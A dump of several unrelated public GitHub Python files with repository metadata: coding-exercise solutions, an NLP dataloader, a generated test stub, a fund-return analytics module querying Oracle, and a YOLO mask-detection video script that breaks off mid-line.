88c8dc51713753b7a36dce80ca936b2933575845
/week07/class_code/w7_creative_task_code_start.py
8c1fdb2f9546ee089a3f5c20570395591fc0e5fc
[]
no_license
previtus/cci_python
210e9e4314fb65c2b5542131167a75ece07ad2a9
ddab2697fc960355ac9e5fac7fc7d462db8b50f4
refs/heads/master
2021-05-23T13:25:46.661735
2020-01-15T18:11:33
2020-01-15T18:11:33
253,309,644
1
0
null
2020-04-05T18:57:21
2020-04-05T18:57:20
null
UTF-8
Python
false
false
571
py
infile = open("dracula.txt", "r") filestring = infile.read() infile.close() # in words ========================================== words = filestring.split() #for word in words: # print(word) # in sentences ========================================== sentences = filestring.split(".") # dark magicks! #import re #sentences2 = re.split(r' *[\.\?!][\'"\)\]]* *', filestring) # in paragraphs ========================================== paragraphs = filestring.split("\n\n") # depends on how your text is written! #for paragraph in paragraphs: # print(paragraph)
1ca21c5fbe3c345731bc9b168b49f3f7ab94392d
bde6ed092b7b29703737e11c5a5ff90934af3d74
/hackerrank/data-structures/array/sparse-arrays.py
e092d90c7f10b803449a5336206aab0c80288509
[]
no_license
takecian/ProgrammingStudyLog
2ab7ea601e0996b3fa502b81ec141bc3772442b6
94485d131c0cc9842f1f4799da2d861dbf09b12a
refs/heads/master
2023-04-28T16:56:18.943574
2023-04-18T06:34:58
2023-04-18T06:34:58
128,525,713
4
0
null
2022-12-09T06:15:19
2018-04-07T12:21:29
Python
UTF-8
Python
false
false
792
py
# https://www.hackerrank.com/challenges/sparse-arrays/problem #!/bin/python3 import math import os import random import re import sys # Complete the matchingStrings function below. def matchingStrings(strings, queries): return [strings.count(query) for query in queries] if __name__ == '__main__': fptr = open(os.environ['OUTPUT_PATH'], 'w') strings_count = int(input()) strings = [] for _ in range(strings_count): strings_item = input() strings.append(strings_item) queries_count = int(input()) queries = [] for _ in range(queries_count): queries_item = input() queries.append(queries_item) res = matchingStrings(strings, queries) fptr.write('\n'.join(map(str, res))) fptr.write('\n') fptr.close()
b34f356a30af80027d2c29078af6a0f66263e7db
dc8a337ea1d8a285577d33e5cfd4dbbe846ee1a0
/src/main/scala/MinCostToConnectAllPoints.py
dea7dced11cb113cb91c76a28ba30e756b63194f
[]
no_license
joestalker1/leetcode
8a5cdda17abd33c3eef859732f75d7bec77a9d0e
ae392ddbc7eb56cb814b9e9715043c98a89a6314
refs/heads/master
2023-04-13T22:09:54.407864
2023-04-09T19:22:54
2023-04-09T19:22:54
131,803,943
0
0
null
null
null
null
UTF-8
Python
false
false
1,434
py
class UnionFind: def __init__(self, n): self.par = [i for i in range(n)] self.rank = [0] * n def find(self, p): if self.par[p] != p: self.par[p] = self.find(self.par[p]) return self.par[p] def union(self, n1, n2): p1 = self.find(n1) p2 = self.find(n2) if p1 == p2: return False if self.rank[p1] > self.rank[p2]: self.par[p2] = p1 elif self.rank[p2] > self.rank[p1]: self.par[p1] = p2 else: self.rank[p1] += 1 self.par[p2] = p1 return True class Solution: def minCostConnectPoints(self, points: List[List[int]]): # assert self._minCostConnectPoints([[0,0],[2,2],[3,10],[5,2],[7,0]]) == 20, 'test1' return self._minCostConnectPoints(points) def _minCostConnectPoints(self, points: List[List[int]]) -> int: n = len(points) edge = [] for i in range(n): for j in range(i + 1, n): w = abs(points[i][0] - points[j][0]) + abs(points[i][1] - points[j][1]) edge.append((w, i, j)) edge.sort() used_edges = 0 mst = 0 uf = UnionFind(n) for w, s, e in edge: if uf.union(s, e): mst += w used_edges += 1 if used_edges == n - 1: break return mst
0f782922b34c17a3438dc8c3bef2ffb403a6b2d4
b5dd8d1b798c94731a84c02d98aafb9147200a85
/sentence_classification/SABaselineSYNTree/data/Dataloader.py
8cf5123e195ed3ba7bddf8695827662dae8e3f59
[]
no_license
zhangmeishan/DepSAWR
1ae348dd04ec5e46bc5a75c8972b4bc4008528fe
104f44fd962a42fdee9b1a9332997d35e8461ff4
refs/heads/master
2021-07-09T20:56:56.897774
2020-10-27T05:41:08
2020-10-27T05:41:08
206,974,879
15
3
null
null
null
null
UTF-8
Python
false
false
3,903
py
from collections import Counter from data.Vocab import * from data.SA import * import numpy as np import torch def read_corpus(file_path): data = [] with open(file_path, 'r') as infile: for line in infile: divides = line.strip().split('|||') section_num = len(divides) if section_num == 2: worditems = divides[1].strip().split(' ') words, heads, rels = [], [], [] for worditem in worditems: id1 = worditem.rfind('_') id2 = worditem.rfind('_', 0, id1 - 1) words.append(worditem[:id2]) heads.append(int(worditem[id2 + 1:id1])) rels.append(worditem[id1 + 1:]) tag = divides[0].strip() cur_data = Instance(words, heads, rels, tag) data.append(cur_data) return data def creatVocab(corpusFile, min_occur_count): word_counter = Counter() rel_counter = Counter() tag_counter = Counter() alldatas = read_corpus(corpusFile) for inst in alldatas: for curword, curhead, currel in zip(inst.forms, inst.heads, inst.rels): word_counter[curword] += 1 rel_counter[currel] += 1 tag_counter[inst.tag] += 1 return SAVocab(word_counter, rel_counter, tag_counter, min_occur_count) def insts_numberize(insts, vocab): for inst in insts: yield inst2id(inst, vocab) def inst2id(inst, vocab): inputs = [] for form, rel in zip(inst.forms, inst.rels): wordid = vocab.word2id(form) extwordid = vocab.extword2id(form) relid = vocab.rel2id(rel) inputs.append([wordid, extwordid, relid]) return inputs, vocab.tag2id(inst.tag), inst def batch_slice(data, batch_size): batch_num = int(np.ceil(len(data) / float(batch_size))) for i in range(batch_num): cur_batch_size = batch_size if i < batch_num - 1 else len(data) - batch_size * i insts = [data[i * batch_size + b] for b in range(cur_batch_size)] yield insts def data_iter(data, batch_size, shuffle=True): """ randomly permute data, then sort by source length, and partition into batches ensure that the length of insts in each batch """ batched_data = [] if shuffle: np.random.shuffle(data) batched_data.extend(list(batch_slice(data, batch_size))) if shuffle: np.random.shuffle(batched_data) for batch in batched_data: yield batch def batch_data_variable(batch, vocab): length = len(batch[0].forms) batch_size = len(batch) for b in range(1, batch_size): if len(batch[b].forms) > length: length = len(batch[b].forms) words = torch.zeros([batch_size, length], dtype=torch.int64, requires_grad=False) extwords = torch.zeros([batch_size, length], dtype=torch.int64, requires_grad=False) rels = torch.zeros([batch_size, length], dtype=torch.int64, requires_grad=False) masks = torch.zeros([batch_size, length], dtype=torch.float, requires_grad=False) tags = torch.zeros([batch_size], dtype=torch.int64, requires_grad=False) lengths = [] heads = [] b = 0 for inputs, tagid, inst in insts_numberize(batch, vocab): index = 0 length = len(inputs) lengths.append(length) heads.append(inst.heads) tags[b] = tagid for curword in inputs: words[b, index] = curword[0] extwords[b, index] = curword[1] rels[b, index] = curword[2] masks[b, index] = 1 index += 1 b += 1 return words, extwords, rels, heads, tags, lengths, masks def batch_variable_inst(insts, tagids, vocab): for inst, tagid in zip(insts, tagids): pred_tag = vocab.id2tag(tagid) yield Instance(inst.words, inst.heads, inst.rels, pred_tag), pred_tag == inst.tag
90fa9d60a31619b8f6dcc62b48a721e9613e2b11
596e92d0d484b6e7eee6d322e72e52748fdeaa5d
/test/test_nba_odds_betting_market.py
f8b473cf4cf0f70b059897d47f0677fe275d8489
[]
no_license
scottypate/sportsdata
f5f61ddc7eb482883f93737c6ce73dd814ed4336
a07955ab50bf4fff1ce114ed9895095ff770c473
refs/heads/main
2023-08-18T16:51:56.452678
2021-10-22T12:44:08
2021-10-22T12:44:08
420,062,350
1
1
null
null
null
null
UTF-8
Python
false
false
1,002
py
# coding: utf-8 """ NBA v3 Odds No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501 OpenAPI spec version: 1.0 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import unittest import sportsdata.nba_odds from sportsdata.nba_odds.models.nba_odds_betting_market import NbaOddsBettingMarket # noqa: E501 from sportsdata.nba_odds.rest import ApiException class TestNbaOddsBettingMarket(unittest.TestCase): """NbaOddsBettingMarket unit test stubs""" def setUp(self): pass def tearDown(self): pass def testNbaOddsBettingMarket(self): """Test NbaOddsBettingMarket""" # FIXME: construct object with mandatory attributes with example values # model = sportsdata.nba_odds.models.nba_odds_betting_market.NbaOddsBettingMarket() # noqa: E501 pass if __name__ == '__main__': unittest.main()
42485305a6f8fb5ff0005ce27a19470c43a61309
08ae1e5065ce3c3931356f4db6b54a82a5da1ebe
/other/cj_project/Pra_tools/week_return_可变基准临时版.py
44ad917629fd9bace508512ac140bb879a7a7042
[]
no_license
superman666ai/cj_data
d1f527b9bc49a38f2cc99ef3849d13408b271f2d
f4b0e9ec3be02c8900d0300e09df8e52088efc68
refs/heads/master
2020-06-21T14:57:30.285849
2019-07-22T00:54:15
2019-07-22T00:54:15
197,486,121
0
1
null
null
null
null
UTF-8
Python
false
false
21,300
py
# encoding=utf-8 """周收益率相关查询""" from sql import sql_oracle from time_tool import Time_tool import logging import math import pandas as pd import numpy as np from sklearn.linear_model import LinearRegression from season_label import SeasonLabel sl = SeasonLabel() class Week_return: """周收益率相关类 对外接口: zhoubodong:波动率 :param code: 代码:str :param start_date:起始日期 :str :param end_date: 结束日期:str :return: float max_down_fund:最大回测 :param code: 代码:str :param start_date:起始日期 :str :param end_date: 结束日期:str :return: float performance_stability_fof:业绩稳定 :param code: fof 代码:str :param start_date:起始日期 :str :param end_date: 结束日期:str :return: float compute_alpha2:计算alpha :param code: 代码:str :param start_date:起始日期 :str :param end_date: 结束日期:str :return: float abs_return:获取绝对收益率 :param code: 代码:str :param start_date:起始日期 :str :param end_date: 结束日期:str :return: float performance_stability:业绩稳定,code :param code: 代码:str :param start_date:起始日期 :str :param end_date: 结束日期:str :return: float """ def __init__(self): self.cu = sql_oracle.cu self.cu_pra = sql_oracle.cu_pra_sel self.t = Time_tool() self.init_table() self.init_funcs() self.year_x = 52 def init_table(self): """初始化各种数据库表名""" self.fof_member_info = 't_fof_member_info' def init_funcs(self): """初始化各种外挂方法""" classes = [Compute_alpha] for class_ in classes: class_(self).add_func() def set_year_x(self, x): """设置计算年化时的系数""" self.year_x = x def _get_winning(self, df): """ 计算胜率 :param df:超额收益 :return: 胜率 """ # 超额收益大于0的个数/总个数 res = len(df.loc[df['超额收益'] > 0]) / len(df) return res def get_week_return_year(self, df): """根据传入的周收益表计算年化收益""" # 周收益平均*系数,默认是52 return_mena = df['超额收益'].mean() res = return_mena * self.year_x return res def get_week_return(self, code: str, start_date: str, end_date: str, types: str = 'fund', jz: str = 'biwi'): """周超额收益查询""" # 首先计算出时间序列 time_df = self.t.get_week_trade_days(start_date, end_date) pre_day = self.t.get_pre_week_trade_day(start_date) time_list = list(time_df['日期']) # 对于第一周的计算 需要用到上一周的数据,所有向列表头部插入了一个日期 time_list.insert(0, pre_day) if types == 'fund': df = self.get_week_return_fund(code, time_list, jz) else: df = self.get_week_return_fund_fof(code, time_list, jz) return df def get_week_return_fund(self, code: str, time_list: list, jz: str = 'biwi'): """ fund 周收益查询 :param code: 基金代码 :param time_list: 时间序列 :param js: 基准 :return: """ df01 = self.get_week_value_fund(code, time_list) if jz == 'biwi': try: df02 = self.get_week_close_biwi(code, time_list) except: df02 = self.get_week_close_ejfl(code,time_list) else: df02 = self.get_week_close_biwi(code, time_list) # 超额收益计算 基金收益率-指数收益率 df = pd.merge(df01, df02, on='日期', how='left') df['超额收益'] = df['周收益率_x'] - df['周收益率_y'] # 去重 df.dropna(inplace=True) # time_index = df01.index.values # return_value = df01['周收益率'].values - df02['周收益率'].values # df = pd.DataFrame(columns=['时间', '超额收益']) # df['时间'] = time_index # df['超额收益'] = return_value df.set_index('日期', inplace=True) df = df[['超额收益']] return df def get_week_return_fund_fof(self, code: str, time_list: list, jz: str = 'zz800'): """ fund 周收益查询 fof 版 :param code: 基金代码 :param time_list: 时间序列 :param js: 基准 :return: """ df01 = self.get_week_value_fund_fof(code, time_list) if jz == 'zz800': # 中证800 index_code = '000906' df02 = self.get_week_close_zz800(index_code, time_list) else: df02 = self.get_week_close_biwi(code, time_list) # 超额收益计算 基金收益率-指数收益率 df = pd.merge(df01, df02, on='日期', how='left') df['超额收益'] = df['周收益率_x'] - df['周收益率_y'] # 去空 df.dropna(inplace=True) # time_index = df01.index.values # return_value = df01['周收益率'].values - df02['周收益率'].values # df = pd.DataFrame(columns=['时间', '超额收益']) # df['时间'] = time_index # df['超额收益'] = return_value df.set_index('日期', inplace=True) df = df[['超额收益']] return df def get_week_value_fund(self, code: str, time_list: list): """ 获取周净值,算周收益,fund :param code: 基金代码 :param time_list: 每个交易周中的最后一个交易日,含有起始日期的上一个交易周的最后一个交易日 :return: df index 日期,columns收益率 """ t1 = time_list[0] t2 = time_list[-1] sql_week_value_fund = f""" select f13_1101,f21_1101 from wind.tb_object_1101 left join wind.tb_object_1090 on f14_1101 = f2_1090 where f16_1090 = '{code}' and (f13_1101 >= '{t1}' and f13_1101 <='{t2}') order by f13_1101 """ sql_res = self.cu.execute(sql_week_value_fund).fetchall() df = pd.DataFrame(sql_res, columns=['日期', '复权单位净值']) df.set_index('日期', inplace=True) # 筛选出需要的日期 df = df.reindex(time_list) # df02 = df['复权单位净值'].pct_change() df['上周复权单位净值'] = df['复权单位净值'].shift() df['周收益率'] = (df['复权单位净值'] - df['上周复权单位净值']) / df['上周复权单位净值'] # df = df[['周收益率']] # 去重,其索引,后期merge会用到日期字段 df.dropna(inplace=True) df.reset_index(inplace=True) return df def get_week_value_fund_fof(self, code: str, time_list: list): """ 获取周净值,算周收益,fof :param code: 基金代码 :param time_list: 每个交易周中的最后一个交易日,含有起始日期的上一个交易周的最后一个交易日 :return: df index 日期,columns收益率 """ t1 = time_list[0] t2 = time_list[-1] # sql_week_value_fund = f""" # select f13_1101,f21_1101 from wind.tb_object_1101 left join wind.tb_object_1090 on f14_1101 = f2_1090 # where f16_1090 = '{code}' and (f13_1101 >= '{t1}' and f13_1101 <='{t2}') # order by f13_1101 # """ sql_week_value_fund = f""" select tradedate,closeprice from t_fof_value_info where fundid = '{code}' and tradedate >= '{t1}' and tradedate <= '{t2}' order by tradedate """ print(sql_week_value_fund) sql_res = self.cu_pra.execute(sql_week_value_fund).fetchall() df = pd.DataFrame(sql_res, columns=['日期', '复权单位净值']) # print(df) df.set_index('日期', inplace=True) # 筛选出需要的日期 df = df.reindex(time_list) # df02 = df['复权单位净值'].pct_change() df['上周复权单位净值'] = df['复权单位净值'].shift() df['周收益率'] = (df['复权单位净值'] - df['上周复权单位净值']) / df['上周复权单位净值'] # df = df[['周收益率']] # 去重,其索引,后期merge会用到日期字段 df.dropna(inplace=True) df.reset_index(inplace=True) # print(df) return df def get_week_close_biwi(self, code: str, time_list: list): """ 取基准,算周收益,biwi 这里要做异常处理,基准不能有空!基准含有空直接报错! :param code: 基金代码 :param time_list: 每个交易周中的最后一个交易日,含有起始日期的上一个交易周的最后一个交易日 :return: """ t1 = time_list[0] t2 = time_list[-1] sql_code = code + 'BI.WI' sql_week_close_bibw = f""" select trade_dt,s_dq_close from wind.chinamutualfundbenchmarkeod where s_info_windcode = '{sql_code}' and (trade_dt >= '{t1}' and trade_dt <='{t2}') order by trade_dt """ sql_res = self.cu.execute(sql_week_close_bibw).fetchall() assert sql_res, f'{code}基准查询结果为空,请改变基准' df = pd.DataFrame(sql_res, columns=['日期', '收盘价']) assert df.iloc[0][0] == t1, f'{code}基准查询结果含有空值,请改变基准' df.set_index('日期', inplace=True) # 筛选出需要的日期 df = df.reindex(time_list) # 计算收益率 close2-close1/close1 df['周收益率'] = df['收盘价'].pct_change() # 去空值 df.dropna(inplace=True) # df = df[['周收益率']] # 去索引,后面merge 会用到日期字段 df.reset_index(inplace=True) return df def get_week_close_zz800(self,index_code:str,time_list:list): """ 取基准,算周收益,biwi 这里要做异常处理,基准不能有空!基准含有空直接报错! :param code: 基金代码 :param time_list: 每个交易周中的最后一个交易日,含有起始日期的上一个交易周的最后一个交易日 :return: """ t1 = time_list[0] t2 = time_list[-1] sql_week_close_zz800 = f""" select f2_1425,f7_1425 from wind.tb_object_1425 left join wind.tb_object_1090 on f1_1425 = f2_1090 where f16_1090 = '{index_code}' and (f2_1425 >='{t1}' and f2_1425 <= '{t2}') and f4_1090 = 'S' order by f2_1425 """ # print(sql_week_close_zz800) sql_res = self.cu.execute(sql_week_close_zz800).fetchall() assert sql_res, f'{code}基准查询结果为空,请改变基准' df = pd.DataFrame(sql_res, columns=['日期', '收盘价']) assert df.iloc[0][0] == t1, f'{code}基准查询结果含有空值,请改变基准' df.set_index('日期', inplace=True) # 筛选出需要的日期 df = df.reindex(time_list) # 计算收益率 close2-close1/close1 df['周收益率'] = df['收盘价'].pct_change() # 去空值 df.dropna(inplace=True) # df = df[['周收益率']] # 去索引,后面merge 会用到日期字段 df.reset_index(inplace=True) return df def get_week_close_ejfl(self,code:str,time_list:list): """ 判断二级分类并且取出相应基准的周收盘 :param codeLStr: 基金代码 :param time_list: 时间列表 :return: """ ejfl = self.get_ejfl(code,time_list) index = self.change_ejfl_to_index(ejfl,time_list) index['日期'] = time_list index.rename(columns = {'市场组合收益率':'周收益率'},inplace = True) return index def get_ejfl(self,code:str,time_list:list): """根据代码和输入周期,计算二级分类""" end_date = time_list[-1] sql_string = f''' select * from ( select ejfl from t_fund_classify_his where rptdate <= {end_date} and cpdm = {code} order by rptdate ) where rownum=1 ''' sql_res = self.cu_pra.execute(sql_string).fetchall() if sql_res: res = sql_res[0][0] else: res = None return res def change_ejfl_to_index(self,fund_type:str,time_list:list): """ 输入二级分类和时间轴 :param fund_type: 二级分类 :param time_list: 时间轴 :return: """ res = sl.get_market(fund_type,time_list) return res def unpack_fof(self, fof,start_date,end_date): """解包fof""" sql_unpakc_fof = f""" select memberfundid,weight from {self.fof_member_info} where fundid = '{fof}' """ sql_res = self.cu_pra.execute(sql_unpakc_fof).fetchall() df = pd.DataFrame(sql_res, columns=['X', 'P']) return df def get_fund_price(self, code, start_date, end_date): """计算波动和回测时用到的sql查询方法""" sql = ''' select f13_1101 as 截止日期, f21_1101 as 复权单位净值 from wind.tb_object_1101 left join wind.tb_object_1090 on f2_1090 = f14_1101 where F16_1090= '%(code)s' and F13_1101 >= '%(start_date)s' and f13_1101 <= '%(end_date)s' ''' % {'end_date': end_date, 'code': code, 'start_date': start_date} fund_price = pd.DataFrame(self.cu.execute(sql).fetchall(), columns=['截止日期', '复权单位净值']) return fund_price # ************ 下面是对外的接口 ************************* def performance_stability(self, code: str, start_date: str, end_date: str, types: str = 'fund', jz: str = 'biwi'): """ 计算顺率 :param code:代码 :param start_date:开始日期 :param end_date: 结束日期 :param types: 代码类型,默认 fund :param jz: 指数类型,默认 biwi :return: """ if types == 'fund': df_return = self.get_week_return(code, start_date, end_date, types, jz) res = self._get_winning(df_return) elif types == 'fof': # 这里的js是自己重新定义的,理想状态是在外面的js定义好 jz = 'zz800' df_return = self.get_week_return(code, start_date, end_date, types, jz) res = self._get_winning(df_return) else: res = 0.0 return res def zhoubodong(self, code='163807', start_date='20190101', end_date='20190225'): fund_price = self.get_fund_price(code, start_date, end_date) fund_price2 = fund_price.sort_values(by=['截止日期']).reset_index(drop=True) fund_price2['fund_return'] = fund_price2.复权单位净值.diff() / fund_price2.复权单位净值.shift(1) fund_price2.dropna(axis=0, inplace=True) fund_price2.reset_index(drop=True, inplace=True) zhou_bodong = fund_price2.fund_return.std() * (math.sqrt(250)) return zhou_bodong # 计算最大回测 def max_down_fund(self, code='163807', start_date='20150528', end_date='20190225'): # 输出单只基金的最大回撤,返回一个float数值 # 提取复权净值 fund_price = self.get_fund_price(code, start_date, end_date) fund_price2 = fund_price.sort_values(by=['截止日期']).reset_index(drop=True) price_list = fund_price2['复权单位净值'].tolist() i = np.argmax((np.maximum.accumulate(price_list) - price_list) / np.maximum.accumulate(price_list)) # 结束位置 if i == 0: max_down_value = 0 else: j = np.argmax(price_list[:i]) # 开始位置 max_down_value = (price_list[j] - price_list[i]) / (price_list[j]) return -max_down_value def performance_stability_fof(self, fof: str, start_date: str, end_date: str): """ 业绩稳定性 :param code: 基金代码 :param start_date: 起始时间 :param end_date: 结束时间 :param types: 代码类型,默认 fund基金 :param jz: 基准指标,默认 biwi :return: """ # 先计算时间列表 time_df = self.t.get_week_trade_days(start_date, end_date) pre_day = self.t.get_pre_week_trade_day(start_date) time_list = list(time_df['日期']) time_list.insert(0, pre_day) # 再解包产品集D,得到x1,x2,x3和 p1,p2,p3 df_D = self.unpack_fof(fof,start_date,end_date) x_list = df_D['X'].values p_list = df_D['P'].values # print('x_list:',x_list) # print('p_list:',p_list) # 计算每个x的胜率 win_list = [] for x in x_list: df_week_return = self.get_week_return(x, start_date, end_date) winning = self._get_winning(df_week_return) win_list.append(winning) # 对上面的结果做加权平均 print('win_lilst:',win_list) res = np.average(win_list, weights=p_list) return res def abs_return(self, fof: str, start_date: str, end_date: str): """获取绝对收益率""" print('待开发') return 0.0 pass class Compute_alpha: """计算alpha""" def __init__(self, wr: Week_return): self.wr = wr self.t = self.wr.t def add_func(self): """添加方法到wr中去""" self.wr.compute_alpha2 = self.compute_alpha2 def compute_alpha2(self,code, start_date, end_date): """ 计算每周收益率 单基金的复权单位净值 计算周收益率 与 行业基准的复权收盘价收益率 做线性回归 求得 alpha2 :param code: :param start_date: :param end_date: :return: """ trade_dates = self.t.get_week_trade_days(start_date, end_date) wr = self.wr.get_week_return(code, start_date, end_date) time_df = self.t.get_week_trade_days(start_date, end_date) pre_day = self.t.get_pre_week_trade_day(start_date) time_list = list(time_df['日期']) time_list.insert(0, pre_day) df01 = self.wr.get_week_value_fund(code, time_list) df02 = self.wr.get_week_close_biwi(code, time_list) df01.set_index('日期') df01 = df01['周收益率'] df01 = pd.DataFrame(df01) df01.columns = ['基金周收益率'] df02.set_index('日期') df02 = df02['周收益率'] df02 = pd.DataFrame(df02) df02.columns = ['指数周收益率'] market = df01.join(df02) market.columns = ['基金收益率', '市场组合收益率'] df = market df = df.dropna(axis=0, how='any') result = self.compute_alpha(df) logging.info('code: {}, from {} to {}'.format(code, start_date, end_date)) logging.info('alpha2: {}'.format(result)) return result def compute_alpha(self,df): X = np.array(df['市场组合收益率']).reshape(df['市场组合收益率'].shape[0], 1) regr = LinearRegression() regr.fit(X, df['基金收益率']) a = regr.intercept_ * 52 return a year_index_query = Week_return() zhoubodong = year_index_query.zhoubodong max_down_fund = year_index_query.max_down_fund performance_stability_fof = year_index_query.performance_stability_fof performance_stability = year_index_query.performance_stability compute_alpha2 = year_index_query.compute_alpha2 abs_return = year_index_query.abs_return if __name__ == '__main__': wr = Week_return() start_date = '20151220' end_date = '20181231' # code = '20I502434BFOF2' # code = '048574593FFOF2' # code = '15FD60FOF1' # code = '15FD60FOF1' # code = '15FD60FOF1' # aaa = wr.get_week_return_fund('003974',[ '2018%02d01'%i for i in range(1,10)]) # print(aaa) # print('code:',code) # ps = performance_stability_fof(code,start_date,end_date) # print(ps) # code = '15FD60FOF1' # print('code:',code) # ps = performance_stability(code,start_date,end_date) # print(ps) # alpha = wr.compute_alpha2(code,start_date,end_date) # print(alpha) # win01 = wr.performance_stability(code,start_date,end_date,types='fof') # print(win01) # a = wr.get_week_return('202801', start_date, end_date) # print(a) # res = wr.get_week_return_year(a) # print('年化收益率', res) # winning = wr.get_winning(a) # print('胜率:', winning) # # aaa = wr.performance_stability('202801',start_date,end_date) # print(aaa) aaa = wr.get_week_value_fund('202801',["20180104", '20180323']) print(aaa)
d8a784d4cc3814c72d3f1c2f31291a37067a93cc
bf902add6952d7f7decdb2296bb136eea55bf441
/YOLO/.history/pytorch-yolo-v3/video_demo_v1_20201106013910.py
956c4cf76b2215cc7d0d756950fe68064a06bcd4
[ "MIT" ]
permissive
jphacks/D_2003
c78fb2b4d05739dbd60eb9224845eb78579afa6f
60a5684d549862e85bdf758069518702d9925a48
refs/heads/master
2023-01-08T16:17:54.977088
2020-11-07T06:41:33
2020-11-07T06:41:33
304,576,949
1
4
null
null
null
null
UTF-8
Python
false
false
16,591
py
from __future__ import division import time import torch import torch.nn as nn from torch.autograd import Variable import numpy as np import cv2 from util import * from darknet import Darknet from preprocess import prep_image, inp_to_image import pandas as pd import random import argparse import pickle as pkl import requests from requests.auth import HTTPDigestAuth import io from PIL import Image, ImageDraw, ImageFilter import play import csv import pprint with open('csv/Lidar.csv', 'r', encoding="utf-8_sig", newline = '') as f: l = csv.reader(f) LiDAR = [row for row in l] # for row in LiDAR: # print(row) def prep_image(img, inp_dim): # CNNに通すために画像を加工する orig_im = img dim = orig_im.shape[1], orig_im.shape[0] img = cv2.resize(orig_im, (inp_dim, inp_dim)) img_ = img[:,:,::-1].transpose((2,0,1)).copy() img_ = torch.from_numpy(img_).float().div(255.0).unsqueeze(0) return img_, orig_im, dim def count(x, img, count): # 画像に結果を描画 c1 = tuple(x[1:3].int()) c2 = tuple(x[3:5].int()) cls = int(x[-1]) label = "{0}".format(classes[cls]) print("label:\n", label) # 人数カウント if(label=='no-mask'): count+=1 print(count) return count def write(x, img,camId): global count global point p = [0,0] # 画像に結果を描画 c1 = tuple(x[1:3].int()) c2 = tuple(x[3:5].int()) cls = int(x[-1]) print(camId, "_c0:",c1) print(camId, "_c1:",c2) label = "{0}".format(classes[cls]) print("label:", label) # 人数カウント if(label=='no-mask'): count+=1 print(count) p[0] = (c2[0]+c1[0])/2 p[1] = (c2[1]+c1[1])/2 point[camId].append(p) color = random.choice(colors) cv2.rectangle(img, c1, c2,color, 1) t_size = cv2.getTextSize(label, cv2.FONT_HERSHEY_PLAIN, 1 , 1)[0] c2 = c1[0] + t_size[0] + 3, c1[1] + t_size[1] + 4 cv2.rectangle(img, c1, c2,color, -1) cv2.putText(img, label, (c1[0], c1[1] + t_size[1] + 4), cv2.FONT_HERSHEY_PLAIN, 1, [225,255,255], 1); return img def arg_parse(): # モジュールの引数を作成 parser = argparse.ArgumentParser(description='YOLO v3 Cam Demo') # ArgumentParserで引数を設定する parser.add_argument("--confidence", dest = "confidence", help = "Object Confidence to filter predictions", default = 0.25) # confidenceは信頼性 parser.add_argument("--nms_thresh", dest = "nms_thresh", help = "NMS Threshhold", default = 0.4) # nms_threshは閾値 parser.add_argument("--reso", dest = 'reso', help = "Input resolution of the network. Increase to increase accuracy. Decrease to increase speed", default = "160", type = str) # resoはCNNの入力解像度で、増加させると精度が上がるが、速度が低下する。 return parser.parse_args() # 引数を解析し、返す def cvpaste(img, imgback, x, y, angle, scale): # x and y are the distance from the center of the background image r = img.shape[0] c = img.shape[1] rb = imgback.shape[0] cb = imgback.shape[1] hrb=round(rb/2) hcb=round(cb/2) hr=round(r/2) hc=round(c/2) # Copy the forward image and move to the center of the background image imgrot = np.zeros((rb,cb,3),np.uint8) imgrot[hrb-hr:hrb+hr,hcb-hc:hcb+hc,:] = img[:hr*2,:hc*2,:] # Rotation and scaling M = cv2.getRotationMatrix2D((hcb,hrb),angle,scale) imgrot = cv2.warpAffine(imgrot,M,(cb,rb)) # Translation M = np.float32([[1,0,x],[0,1,y]]) imgrot = cv2.warpAffine(imgrot,M,(cb,rb)) # Makeing mask imggray = cv2.cvtColor(imgrot,cv2.COLOR_BGR2GRAY) ret, mask = cv2.threshold(imggray, 10, 255, cv2.THRESH_BINARY) mask_inv = cv2.bitwise_not(mask) # Now black-out the area of the forward image in the background image img1_bg = cv2.bitwise_and(imgback,imgback,mask = mask_inv) # Take only region of the forward image. img2_fg = cv2.bitwise_and(imgrot,imgrot,mask = mask) # Paste the forward image on the background image imgpaste = cv2.add(img1_bg,img2_fg) return imgpaste def cosineTheorem(Lidar, radian1, radian2): theta = abs(radian1-radian2) distance = Lidar[radian1][1] ** 2 + Lidar[radian2][1] ** 2 - 2 * Lidar[radian1][1] * Lidar[radian2][1] * math.cos(abs(radian2 - radian1)) return distance def combinations_count(n, r): return math.factorial(n) // (math.factorial(n - r) * math.factorial(r)) # def beep(freq, dur=100): # winsound.Beep(freq, dur) if __name__ == '__main__': #学習前YOLO # cfgfile = "cfg/yolov3.cfg" # 設定ファイル # weightsfile = "weight/yolov3.weights" # 重みファイル # classes = load_classes('data/coco.names') # 識別クラスのリスト #マスク学習後YOLO cfgfile = "cfg/mask.cfg" # 設定ファイル weightsfile = "weight/mask_1500.weights" # 重みファイル classes = load_classes('data/mask.names') # 識別クラスのリスト num_classes = 80 # クラスの数 args = arg_parse() # 引数を取得 confidence = float(args.confidence) # 信頼性の設定値を取得 nms_thesh = float(args.nms_thresh) # 閾値を取得 start = 0 CUDA = torch.cuda.is_available() # CUDAが使用可能かどうか num_classes = 80 # クラスの数 bbox_attrs = 5 + num_classes max = 0 #限界人数 num_camera = 1 #camera数 model = [[] for i in range(num_camera)] inp_dim = [[] for i in range(num_camera)] cap = [[] for i in range(num_camera)] ret = [[] for i in range(num_camera)] frame = [[] for i in range(num_camera)] img = [[] for i in range(num_camera)] orig_im = [[] for i in range(num_camera)] dim = [[] for i in range(num_camera)] # output = [[] for i in range(num_camera)] # output = torch.tensor(output) # print("output_shape\n", output.shape) for i in range(num_camera): model[i] = Darknet(cfgfile) #model1の作成 model[i].load_weights(weightsfile) # model1に重みを読み込む model[i].net_info["height"] = args.reso inp_dim[i] = int(model[i].net_info["height"]) assert inp_dim[i] % 32 == 0 assert inp_dim[i] > 32 #mixer.init() #初期化 if CUDA: for i in range(num_camera): model[i].cuda() #CUDAが使用可能であればcudaを起動 for i in range(num_camera): model[i].eval() cap[0] = cv2.VideoCapture(1) #カメラを指定(USB接続) # cap[1] = cv2.VideoCapture(1) #カメラを指定(USB接続) # cap = cv2.VideoCapture("movies/sample.mp4") #cap = cv2.VideoCapture("movies/one_v2.avi") # Use the next line if your camera has a username and password # cap = cv2.VideoCapture('protocol://username:password@IP:port/1') #cap = cv2.VideoCapture('rtsp://admin:[email protected]/1') #(ネットワーク接続) #cap = cv2.VideoCapture('rtsp://admin:[email protected]/80') #cap = cv2.VideoCapture('http://admin:[email protected]:80/video') #cap = 